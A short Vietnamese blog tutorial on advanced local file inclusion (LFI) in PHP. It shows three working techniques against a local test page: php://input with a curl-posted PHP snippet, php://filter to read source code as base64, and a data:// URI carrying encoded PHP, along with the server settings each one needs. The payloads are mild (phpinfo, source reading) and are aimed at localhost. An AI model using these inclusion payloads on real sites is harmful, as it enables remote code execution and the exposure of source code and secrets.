J2TEAM Security: A must-have extension for Chrome users. Install now!

Kỹ thuật LFI nâng cao

Xét 1 file bị lỗi LFI như sau

pentest.php



[+] Sử dụng php://input

-- Yêu cầu :
allow_url_fopen=On
allow_url_include=On

-- Cách khai thác như sau





Code:
curl.exe http://localhost/pentest/pentest.php?page=php://input -d "<?php phpinfo();?>" -o C:\curl.html

[+] Sử dụng php://filter

--Dùng để đọc trực tiếp nội dung file php
-- Cách khai thác




Code:
http://localhost/pentest/pentest.php?page=php://filter/read=convert.base64-encode/resource=pentest.php

[+] Sử dụng data URIs

-- Yêu cầu
allow_url_include=On
-- Cách khai thác




Code:
http://localhost/pentest/pentest.php?page=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==

Download curl

www.mediafire.com/?fiok124cci8d7e4
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!